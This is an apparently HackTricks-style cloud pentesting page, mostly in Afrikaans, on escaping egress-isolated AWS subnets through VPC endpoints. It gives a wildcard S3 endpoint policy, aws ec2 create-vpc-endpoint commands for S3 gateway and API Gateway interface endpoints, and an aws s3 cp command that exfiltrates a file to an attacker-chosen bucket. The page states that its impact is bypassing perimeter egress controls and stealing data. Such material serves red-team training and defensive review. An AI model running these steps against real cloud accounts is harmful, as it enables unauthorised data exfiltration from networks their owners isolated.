# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

{{#include ../../../../banners/hacktricks-training.md}}

## Opsomming

Hierdie tegniek misbruik VPC Endpoints om exfiltration channels te skep vanaf subnets sonder Internet Gateways of NAT. Gateway endpoints (bv. S3) voeg prefix‑list routes by die subnet route tables; Interface endpoints (bv. execute-api, secretsmanager, ssm, ens.) skep bereikbare ENIs met private IPs wat deur security groups beskerm word. Met minimale VPC/EC2-permissies kan ’n aanvaller beheerde egress moontlik maak wat nie deur die openbare Internet gaan nie.

> Prereqs: bestaande VPC en private subnets (geen IGW/NAT). Jy sal permissies nodig hê om VPC endpoints te skep en, vir Opsie B, ’n security group om aan die endpoint ENIs te koppel.

## Opsie A – S3 Gateway VPC Endpoint

**Veranderlikes**
- `REGION=us-east-1`
- `VPC_ID=<target vpc>`
- `RTB_IDS=<comma-separated route table IDs of private subnets>`

1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
```json
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
```
2) Skep die S3 Gateway-eindpunt (voeg S3 prefix‑list-roete by die geselekteerde roete-tabelle):
```bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional
```
Bewyse om vas te vang:
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` wys 'n roete na die AWS S3 prefix list (bv., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
- Vanaf 'n instance in daardie subnets (met IAM regte) kan jy exfil via S3 sonder Internet:
```bash
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
```
## Opsie B – Interface VPC Endpoint vir API Gateway (execute-api)

**Veranderlikes**
- `REGION=us-east-1`
- `VPC_ID=<target vpc>`
- `SUBNET_IDS=<comma-separated private subnets>`
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`

1) Skep die interface-endpoint en heg die SG aan:
```bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
```
Bewyse om vas te lê:
- `aws ec2 describe-vpc-endpoints` wys die endpoint in die `available` staat met `NetworkInterfaceIds` (ENIs in jou subnets).
- Instances in daardie subnets kan Private API Gateway endpoints bereik deur daardie VPCE ENIs (geen Internet-pad benodig nie).

## Impak
- Omseil perimeter egress-beheer deur gebruik te maak van AWS‑beheerde private paaie na AWS-dienste.
- Maak data exfiltration vanaf geïsoleerde subnets moontlik (bv. skryf na S3; aanroep Private API Gateway; bereik Secrets Manager/SSM/STS, ens.) sonder IGW/NAT.

{{#include ../../../../banners/hacktricks-training.md}}
